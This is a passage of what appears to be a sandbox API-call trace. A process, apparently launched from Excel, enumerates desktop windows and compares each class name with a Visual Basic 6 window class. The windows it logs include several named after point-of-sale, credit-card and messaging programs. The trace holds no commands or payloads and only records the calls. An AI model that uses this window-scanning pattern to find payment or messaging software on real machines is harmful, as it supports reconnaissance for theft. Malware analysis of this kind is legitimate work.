nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0097.803] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0097.803] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0097.803] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0097.803] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0097.803] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0097.803] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.803] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0097.803] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0097.803] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0097.803] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0097.803] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0097.803] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0097.803] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0097.803] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0097.803] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0097.803] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0097.803] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0097.803] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0097.804] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0097.804] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0097.804] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0097.804] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0097.804] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0097.804] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0097.804] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0097.804] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0097.804] IsWindowEnabled (hWnd=0x20360) returned 0 [0097.804] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0097.804] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0097.804] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0097.804] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0097.804] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0097.804] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0097.804] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.804] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0097.804] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0097.804] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0097.804] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0097.804] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0097.804] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0097.804] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0097.804] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0097.804] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.804] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0097.805] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0097.805] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0097.805] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0097.805] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0097.805] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0097.805] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.805] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0097.805] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0097.805] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0097.805] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0097.805] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0097.805] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0097.805] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.805] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0097.805] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0097.805] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0097.805] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0097.805] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0097.805] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0097.805] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.805] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0097.805] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0097.805] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0097.805] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0097.805] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0097.805] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0097.805] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0097.805] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0097.805] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0097.805] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0097.805] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.805] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0097.806] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0097.806] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0097.806] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0097.806] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0097.806] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0097.806] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.806] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0097.806] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.806] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0097.806] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0097.806] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0097.806] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0097.806] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0097.806] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0097.806] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0097.806] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0097.806] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.806] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0097.806] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0097.806] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0097.806] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0097.806] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0097.806] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0097.806] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0097.806] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.806] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.806] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.806] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0097.806] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0097.806] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0097.806] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.806] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0097.806] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0097.806] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0097.806] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.806] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0097.807] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.807] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.807] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.807] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0097.807] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.807] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.807] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.807] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0097.807] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.807] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.807] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.807] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0097.807] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0097.807] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0097.807] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0097.807] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0097.807] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.807] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.807] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0097.807] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0097.807] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0097.807] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0097.807] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0097.807] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0097.807] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0097.807] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0097.807] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0097.807] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0097.807] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.807] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.807] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0097.807] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0097.807] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0097.807] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0097.808] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0097.808] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0097.808] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.808] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.808] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0097.808] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0097.808] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0097.808] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0097.808] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0097.808] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0097.808] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.808] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.808] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0097.808] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0097.808] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0097.808] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0097.808] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0097.808] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0097.808] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.808] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.808] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0097.808] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0097.808] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0097.808] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0097.808] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0097.808] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0097.808] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.808] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.808] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0097.808] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0097.808] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0097.808] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0097.808] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0097.808] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0097.809] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.809] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0097.809] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0097.809] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0097.809] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0097.809] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0097.809] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0097.809] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.809] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0097.809] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0097.809] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0097.809] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0097.809] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0097.809] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0097.809] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.809] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0097.809] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0097.809] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0097.809] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0097.809] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0097.809] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0097.809] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.809] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0097.809] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0097.809] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0097.809] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0097.809] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0097.809] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0097.809] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.810] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0097.810] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0097.810] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0097.810] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0097.810] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0097.810] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0097.810] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.810] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.810] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0097.810] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0097.810] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0097.810] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0097.810] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0097.810] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0097.810] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.810] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.810] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0097.810] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0097.810] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0097.810] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0097.810] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0097.810] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0097.810] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.810] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.810] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0097.810] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0097.810] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0097.810] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0097.810] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0097.810] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0097.810] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.810] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.810] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0097.811] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0097.811] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0097.811] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0097.811] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0097.811] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0097.811] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.811] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0097.811] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0097.811] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0097.811] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0097.811] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0097.811] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0097.811] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.811] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0097.811] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0097.811] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0097.811] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0097.811] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0097.811] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0097.811] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.811] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0097.811] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0097.811] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0097.811] lstrcmpA 